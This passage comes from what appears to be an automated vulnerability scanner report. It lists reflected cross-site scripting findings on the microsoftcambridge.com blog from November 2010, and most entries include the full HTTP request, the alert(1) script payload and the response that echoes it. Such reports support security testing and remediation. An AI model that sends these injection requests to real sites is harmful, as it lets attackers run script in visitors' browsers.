<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/06/08/individuals-make-the-difference-celebrating-innovation-month-in-new-england/?ac338\"><script>alert(1)</script>fe2539422c7=1&title=Individuals Make the Difference – Celebrating Innovation Month in New England! | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 64f45"><script>alert(1)</script>b68d26dd81c was submitted in the REST URL parameter 7. This input was echoed as 64f45\"><script>alert(1)</script>b68d26dd81c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/06/08/individuals-make-the-difference-celebrating-innovation-month-in-new-england/feed64f45"><script>alert(1)</script>b68d26dd81c/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:12:49 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:12:51 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23903
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/06/08/individuals-make-the-difference-celebrating-innovation-month-in-new-england/feed64f45\"><script>alert(1)</script>b68d26dd81c/&title=Page not found | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload df247"><script>alert(1)</script>4c4ba9a202a was submitted in the REST URL parameter 2. This input was echoed as df247\"><script>alert(1)</script>4c4ba9a202a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/sitedf247"><script>alert(1)</script>4c4ba9a202a/2010/06/28/welcome-to-the-sharepoint-workspace-team/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:10:45 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:10:48 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 11703
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/sitedf247\"><script>alert(1)</script>4c4ba9a202a/2010/06/28/welcome-to-the-sharepoint-workspace-team/&title=Page not found | default" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5595c"><script>alert(1)</script>ffb79e0c847 was submitted in the REST URL parameter 6. This input was echoed as 5595c\"><script>alert(1)</script>ffb79e0c847 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/06/28/welcome-to-the-sharepoint-workspace-team5595c"><script>alert(1)</script>ffb79e0c847/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:10:52 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:10:55 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23663
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/06/28/welcome-to-the-sharepoint-workspace-team5595c\"><script>alert(1)</script>ffb79e0c847/&title=Page not found | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
1.34. http://microsoftcambridge.com/blog/site/2010/06/28/welcome-to-the-sharepoint-workspace-team/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b3cc8"><script>alert(1)</script>c7bfff41510 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b3cc8\"><script>alert(1)</script>c7bfff41510 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/06/28/welcome-to-the-sharepoint-workspace-team/?b3cc8"><script>alert(1)</script>c7bfff41510=1 HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 200 OK Date: Sat, 20 Nov 2010 15:10:33 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 29987
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/06/28/welcome-to-the-sharepoint-workspace-team/?b3cc8\"><script>alert(1)</script>c7bfff41510=1&title=Welcome to the SharePoint Workspace Team! | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9972e"><script>alert(1)</script>1176660d946 was submitted in the REST URL parameter 7. This input was echoed as 9972e\"><script>alert(1)</script>1176660d946 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/06/28/welcome-to-the-sharepoint-workspace-team/feed9972e"><script>alert(1)</script>1176660d946/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:11:56 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:12:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23693
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/06/28/welcome-to-the-sharepoint-workspace-team/feed9972e\"><script>alert(1)</script>1176660d946/&title=Page not found | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 22cf6"><script>alert(1)</script>76587653489 was submitted in the REST URL parameter 2. This input was echoed as 22cf6\"><script>alert(1)</script>76587653489 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site22cf6"><script>alert(1)</script>76587653489/2010/08/23/expanding-the-partnership-microsoft-and-the-museum-of-science-collaborate-on-innovation/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:10:46 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:10:49 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 11985
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site22cf6\"><script>alert(1)</script>76587653489/2010/08/23/expanding-the-partnership-microsoft-and-the-museum-of-science-collaborate-on-innovation/&title=Page not found | default" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c2a04"><script>alert(1)</script>ddf480be25a was submitted in the REST URL parameter 6. This input was echoed as c2a04\"><script>alert(1)</script>ddf480be25a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/08/23/expanding-the-partnership-microsoft-and-the-museum-of-science-collaborate-on-innovationc2a04"><script>alert(1)</script>ddf480be25a/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:10:54 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:10:57 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23945
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... t="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/08/23/expanding-the-partnership-microsoft-and-the-museum-of-science-collaborate-on-innovationc2a04\"><script>alert(1)</script>ddf480be25a/&title=Page not found | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
1.38. http://microsoftcambridge.com/blog/site/2010/08/23/expanding-the-partnership-microsoft-and-the-museum-of-science-collaborate-on-innovation/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9636b"><script>alert(1)</script>92118d0a46 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 9636b\"><script>alert(1)</script>92118d0a46 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/08/23/expanding-the-partnership-microsoft-and-the-museum-of-science-collaborate-on-innovation/?9636b"><script>alert(1)</script>92118d0a46=1 HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 200 OK Date: Sat, 20 Nov 2010 15:10:35 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31576
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... "Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/08/23/expanding-the-partnership-microsoft-and-the-museum-of-science-collaborate-on-innovation/?9636b\"><script>alert(1)</script>92118d0a46=1&title=Expanding the Partnership: Microsoft and the Museum of Science Collaborate on Innovation | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2417a"><script>alert(1)</script>08e309d5af0 was submitted in the REST URL parameter 7. This input was echoed as 2417a\"><script>alert(1)</script>08e309d5af0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/08/23/expanding-the-partnership-microsoft-and-the-museum-of-science-collaborate-on-innovation/feed2417a"><script>alert(1)</script>08e309d5af0/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:11:02 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:11:04 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23975
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... l.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/08/23/expanding-the-partnership-microsoft-and-the-museum-of-science-collaborate-on-innovation/feed2417a\"><script>alert(1)</script>08e309d5af0/&title=Page not found | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3b795"><script>alert(1)</script>6537c984f8f was submitted in the REST URL parameter 2. This input was echoed as 3b795\"><script>alert(1)</script>6537c984f8f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site3b795"><script>alert(1)</script>6537c984f8f/2010/10/08/ray-ozzie-to-be-inducted-into-prestigious-american-academy-of-arts-sciences/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:10:41 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:10:44 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 11913
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site3b795\"><script>alert(1)</script>6537c984f8f/2010/10/08/ray-ozzie-to-be-inducted-into-prestigious-american-academy-of-arts-sciences/&title=Page not found | default" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4d30a"><script>alert(1)</script>3f92468ecb0 was submitted in the REST URL parameter 6. This input was echoed as 4d30a\"><script>alert(1)</script>3f92468ecb0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/10/08/ray-ozzie-to-be-inducted-into-prestigious-american-academy-of-arts-sciences4d30a"><script>alert(1)</script>3f92468ecb0/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:10:49 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:10:52 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23873
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/10/08/ray-ozzie-to-be-inducted-into-prestigious-american-academy-of-arts-sciences4d30a\"><script>alert(1)</script>3f92468ecb0/&title=Page not found | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
1.42. http://microsoftcambridge.com/blog/site/2010/10/08/ray-ozzie-to-be-inducted-into-prestigious-american-academy-of-arts-sciences/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9245"><script>alert(1)</script>de4ae5c5082 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as d9245\"><script>alert(1)</script>de4ae5c5082 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/10/08/ray-ozzie-to-be-inducted-into-prestigious-american-academy-of-arts-sciences/?d9245"><script>alert(1)</script>de4ae5c5082=1 HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 200 OK Date: Sat, 20 Nov 2010 15:10:28 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31013
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/10/08/ray-ozzie-to-be-inducted-into-prestigious-american-academy-of-arts-sciences/?d9245\"><script>alert(1)</script>de4ae5c5082=1&title=Ray Ozzie, Madhu Sudan and Burton Smith to be Inducted Into Prestigious American Academy of Arts & Sciences | Microsoft New England Research & Development Center Blog" coords="0,0 ...[SNIP]...
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d7934"><script>alert(1)</script>55b7398ea52 was submitted in the REST URL parameter 7. This input was echoed as d7934\"><script>alert(1)</script>55b7398ea52 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/10/08/ray-ozzie-to-be-inducted-into-prestigious-american-academy-of-arts-sciences/feedd7934"><script>alert(1)</script>55b7398ea52/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:11:00 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:11:02 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23903
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/10/08/ray-ozzie-to-be-inducted-into-prestigious-american-academy-of-arts-sciences/feedd7934\"><script>alert(1)</script>55b7398ea52/&title=Page not found | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b839d"><script>alert(1)</script>3ec47ee3f5b was submitted in the REST URL parameter 2. This input was echoed as b839d\"><script>alert(1)</script>3ec47ee3f5b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/siteb839d"><script>alert(1)</script>3ec47ee3f5b/2010/11/01/expanding-the-nerd-community-team/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:10:37 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:10:41 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 11661
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/siteb839d\"><script>alert(1)</script>3ec47ee3f5b/2010/11/01/expanding-the-nerd-community-team/&title=Page not found | default" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 66156"><script>alert(1)</script>1f41a8a7919 was submitted in the REST URL parameter 6. This input was echoed as 66156\"><script>alert(1)</script>1f41a8a7919 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/11/01/expanding-the-nerd-community-team66156"><script>alert(1)</script>1f41a8a7919/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:10:46 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:10:49 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23621
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
